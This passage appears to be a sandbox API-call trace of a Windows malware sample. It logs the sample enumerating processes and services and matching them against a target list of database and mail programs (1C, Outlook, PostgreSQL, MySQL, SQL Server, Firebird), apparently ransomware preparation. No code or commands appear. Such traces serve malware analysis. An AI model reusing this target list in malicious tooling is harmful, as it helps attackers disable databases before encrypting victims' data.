(lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0173.718] lstrlenW (lpString="UxSms") returned 5 [0173.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0173.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0173.718] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0173.718] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0173.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0173.718] lstrlenW (lpString="WdiServiceHost") returned 14 [0173.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0173.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0173.718] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0173.718] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0173.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0173.718] lstrlenW (lpString="WdiSystemHost") returned 13 [0173.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0173.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0173.718] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0173.718] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0173.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0173.718] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0173.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0173.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0173.718] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0173.719] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0173.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0173.719] lstrlenW (lpString="Winmgmt") returned 7 [0173.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0173.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0173.719] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0173.719] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0173.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0173.719] lstrlenW (lpString="WPDBusEnum") returned 10 [0173.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0173.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0173.719] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0173.719] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0173.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0173.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f2050 | out: hHeap=0x300000) returned 1 [0173.719] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c [0173.721] Process32FirstW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.721] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0173.721] lstrlenW (lpString="System") returned 6 [0173.721] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0173.722] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0173.722] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0173.722] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0173.722] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0173.722] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0173.722] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0173.722] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0173.722] lstrlenW (lpString="smss.exe") returned 8 [0173.722] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0173.722] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0173.722] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0173.722] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0173.722] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0173.722] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0173.722] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0173.722] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.723] lstrlenW (lpString="csrss.exe") returned 9 [0173.723] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0173.723] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0173.723] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0173.723] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0173.723] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0173.723] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0173.723] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0173.723] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0173.723] lstrlenW (lpString="wininit.exe") returned 11 [0173.723] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0173.723] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0173.723] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0173.723] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0173.723] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0173.723] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0173.723] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0173.724] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.724] lstrlenW (lpString="csrss.exe") returned 9 [0173.724] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0173.724] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0173.724] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0173.724] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0173.724] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0173.724] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0173.724] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0173.725] lstrlenW (lpString="winlogon.exe") returned 12 [0173.725] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0173.725] lstrlenW (lpString="services.exe") returned 12 [0173.725] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0173.726] lstrlenW (lpString="lsass.exe") returned 9 [0173.726] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0173.726] lstrlenW (lpString="lsm.exe") returned 7 [0173.726] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.726] lstrlenW (lpString="svchost.exe") returned 11 [0173.726] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.727] lstrlenW (lpString="svchost.exe") returned 11 [0173.727] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.727] lstrlenW (lpString="svchost.exe") returned 11 [0173.727] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.727] lstrlenW (lpString="svchost.exe") returned 11 [0173.728] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.728] lstrlenW (lpString="svchost.exe") returned 11 [0173.728] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0173.728] lstrlenW (lpString="audiodg.exe") returned 11 [0173.728] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.729] lstrlenW (lpString="svchost.exe") returned 11 [0173.729] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.729] lstrlenW (lpString="svchost.exe") returned 11 [0173.729] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0173.729] lstrlenW (lpString="spoolsv.exe") returned 11 [0173.729] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0173.730] lstrlenW (lpString="taskhost.exe") returned 12 [0173.730] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.730] lstrlenW (lpString="svchost.exe") returned 11 [0173.730] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0173.730] lstrlenW (lpString="dwm.exe") returned 7 [0173.731] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0173.731] lstrlenW (lpString="explorer.exe") returned 12 [0173.731] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0173.731] lstrlenW (lpString="3G6885.exe") returned 10 [0173.731] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0173.732] lstrlenW (lpString="reader_sl.exe") returned 13 [0173.732] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0173.732] lstrlenW (lpString="taskhost.exe") returned 12 [0173.732] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0173.732] lstrlenW (lpString="dllhost.exe") returned 11 [0173.732] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0173.733] lstrlenW (lpString="rundll32.exe") returned 12 [0173.733] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0173.733] lstrlenW (lpString="dinotify.exe") returned 12 [0173.733] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x63c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0173.733] lstrlenW (lpString="dllhost.exe") returned 11 [0173.734] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0173.734] lstrlenW (lpString="3G6885.exe") returned 10 [0173.734] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 0 [0173.734] CloseHandle (hObject=0x17c) returned 1 [0173.734] Sleep (dwMilliseconds=0x1f4) [0174.412] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d21c8 [0174.413] EnumServicesStatusExW (in: hSCManager=0x41d21c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0174.413] GetLastError () returned 0xea [0174.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x3f4478 [0174.413] EnumServicesStatusExW (in: hSCManager=0x41d21c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f4478, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f4478, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0174.414] CloseServiceHandle (hSCObject=0x41d21c8) returned 1 [0174.414] lstrlenW (lpString="Appinfo") returned 7 [0174.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0174.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0174.414] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0174.414] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0174.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0174.414] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0174.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0174.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0174.414] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0174.414] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0174.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0174.414] lstrlenW (lpString="AudioSrv") returned 8 [0174.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0174.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0174.414] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0174.414] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0174.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0174.414] lstrlenW (lpString="BFE") returned 3 [0174.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0174.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0174.414] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0174.414] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0174.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0174.415] lstrlenW (lpString="CryptSvc") returned 8 [0174.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0174.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0174.415] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0174.415] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0174.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0174.415] lstrlenW (lpString="CscService") returned 10 [0174.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0174.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0174.415] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0174.415] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0174.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0174.415] lstrlenW (lpString="DcomLaunch") returned 10 [0174.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0174.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0174.415] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0174.415] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0174.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0174.415] lstrlenW (lpString="Dhcp") returned 4 [0174.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0174.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0174.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0174.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0174.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0174.415] lstrlenW (lpString="Dnscache") returned 8 [0174.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0174.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0174.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0174.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0174.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0174.416] lstrlenW (lpString="DPS") returned 3 [0174.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0174.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0174.416] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0174.416] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0174.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0174.416] lstrlenW (lpString="eventlog") returned 8 [0174.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0174.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0174.416] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0174.416] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0174.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0174.416] lstrlenW (lpString="EventSystem") returned 11 [0174.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0174.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0174.416] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0174.416] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0174.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0174.416] lstrlenW (lpString="gpsvc") returned 5 [0174.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0174.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0174.416] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0174.416] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0174.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0174.416] lstrlenW (lpString="iphlpsvc") returned 8 [0174.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0174.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0174.416] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0174.416] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0174.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0174.416] lstrlenW (lpString="LanmanServer") returned 12 [0174.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0174.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0174.417] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0174.417] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0174.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0174.417] lstrlenW (lpString="LanmanWorkstation") returned 17 [0174.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0174.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0174.417] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0174.417] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0174.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0174.417] lstrlenW (lpString="lmhosts") returned 7 [0174.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0174.417] lstrcmpiW 